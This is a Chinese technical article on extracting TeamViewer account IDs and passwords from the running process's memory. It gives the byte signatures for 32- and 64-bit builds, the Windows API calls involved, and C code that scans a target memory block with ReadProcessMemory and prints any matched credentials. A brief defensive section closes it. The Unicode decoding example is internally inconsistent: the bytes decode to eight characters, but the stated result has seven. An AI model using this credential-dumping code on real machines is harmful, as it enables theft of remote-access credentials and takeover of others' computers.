Dump内存得到TeamViewer账号密码
字数 1139 2025-08-07 08:22:00
TeamViewer账号密码内存提取技术详解
1. 技术背景
TeamViewer是一款广泛使用的远程控制软件,最新版本中通过窗体获取账号密码的方法已失效。本文介绍一种通过内存分析提取TeamViewer账号密码的技术方法。
2. 技术原理
2.1 内存特征分析
通过Cheat Engine(CE)工具分析发现:
- TeamViewer的账号(ID)和密码存储在特定内存块中
- 该内存块大小为1FF000(十六进制)
- ID和密码以特定模式存储:
- ID前有0x80标志(32位)或0x20标志(64位),后跟0x00,0x00结尾
- 密码前有0x88标志(32位)或0x90标志(64位),后跟0x00,0x00结尾
- ID和密码采用Unicode编码存储
2.2 内存遍历策略
直接遍历整个内存空间(0000000-7FFF0000)效率低且易误报,采用优化策略:
- 定位进程基地址
- 寻找大小为1FF000的内存块
- 在该内存块中搜索特定模式的数据
3. 关键技术实现
3.1 关键API函数
3.1.1 ZwQueryVirtualMemory
typedef NTSTATUS (WINAPI* fnZwQueryVirtualMemory)(
HANDLE ProcessHandle, // 进程句柄
PVOID BaseAddress, // 内存地址
MEMORY_INFORMATION_CLASS MemoryInformationClass, // 信息类型
PVOID MemoryInformation, // 内存信息结构指针
SIZE_T MemoryInformationLength, // 结构大小
PSIZE_T ReturnLength // 返回长度
);
用于获取内存块属性信息。
3.1.2 EnumProcessModules
BOOL WINAPI EnumProcessModules(
_In_ HANDLE hProcess, // 进程句柄
_Out_writes_bytes_(cb) HMODULE* lphModule, // 模块数组
_In_ DWORD cb, // 数组大小
_Out_ LPDWORD lpcbNeeded // 所需字节数
);
用于获取进程基地址。
3.2 内存信息结构
MEMORY_BASIC_INFORMATION
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress; // 内存块起始地址
PVOID AllocationBase; // 分配基址
DWORD AllocationProtect; // 初始保护属性
SIZE_T RegionSize; // 内存块大小
DWORD State; // 内存状态
DWORD Protect; // 当前保护属性
DWORD Type; // 内存类型
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
3.3 实现流程
- 获取TeamViewer进程ID
- 打开进程获取句柄
- 获取进程基地址
- 遍历内存查找1FF000大小的块
- 在目标内存块中搜索ID和密码特征
- 解析并输出结果
4. 代码实现要点
4.1 32位实现关键代码
// 遍历内存
do {
ZwQueryVirtualMemory(hProcess, (LPVOID)StartAddress, MemoryBasicInformation,
&mbi, sizeof(mbi), NULL);
if(mbi.RegionSize == 0x1FF000) {
// 在内存块中搜索
for(int i = 0; i < 0x1FF000; i++) {
// 读取密码和ID
ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i),
password, 0x15, NULL);
ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i),
id, 0x17, NULL);
// Unicode转ASCII
for(int x = 0; x <= 0x8; x++) {
password_char[x] = password[x*2+2];
}
// 检查密码特征
if(password[1] == 0xffffff88 && password[17] == 0 &&
password[18] == 0 && regex_match(password_char, regex("[0-9a-z]{8}"))) {
printf("[+]password: %s\n", password_char);
password_temp = 1;
}
// 检查ID特征
if(id_temp == 0 && id[1] == 0xffffff80 && id[19] == 0 &&
id[20] == 0 && regex_match(id_char, regex("[0-9]{9}"))) {
printf("[+]id: %s\n", id_char);
id_temp = 1;
}
}
break;
}
StartAddress += mbi.RegionSize;
} while(StartAddress <= EndAddress);
4.2 64位实现差异
- 内存地址范围不同:从0x000000007FFE0000开始
- 密码特征标志变为0x90
- ID特征标志变为0x20
- 使用_int64类型处理地址
5. 关键技术细节
5.1 Unicode解析技巧
TeamViewer使用Unicode存储账号密码,需要特殊处理:
原始数据:35 00 72 00 6A 00 32 00 61 00 6D 00 35 00 61 00
解析方法:取奇数位(1,3,5,7...)
结果:5 r j 2 a m 5 a → "rj2am5a"
5.2 正则表达式匹配
使用正则表达式验证提取的数据:
- ID模式:
[0-9]{9}(9位数字) - 密码模式:
[0-9a-z]{8}(8位字母数字组合)
5.3 错误处理
- 检查API函数是否成功加载
- 验证进程是否存在
- 检查内存读取是否成功
6. 防御建议
针对此类内存提取攻击,建议:
- 使用内存加密技术保护敏感数据
- 定期清理内存中的敏感信息
- 实现反调试和反内存扫描机制
- 使用安全存储方式保存凭证
7. 总结
本文详细介绍了通过内存分析提取TeamViewer账号密码的技术方法,包括内存特征分析、关键API使用、32/64位实现差异等关键技术点。该技术利用了TeamViewer在内存中存储凭证的特定模式,通过精确的内存扫描和模式匹配实现凭证提取。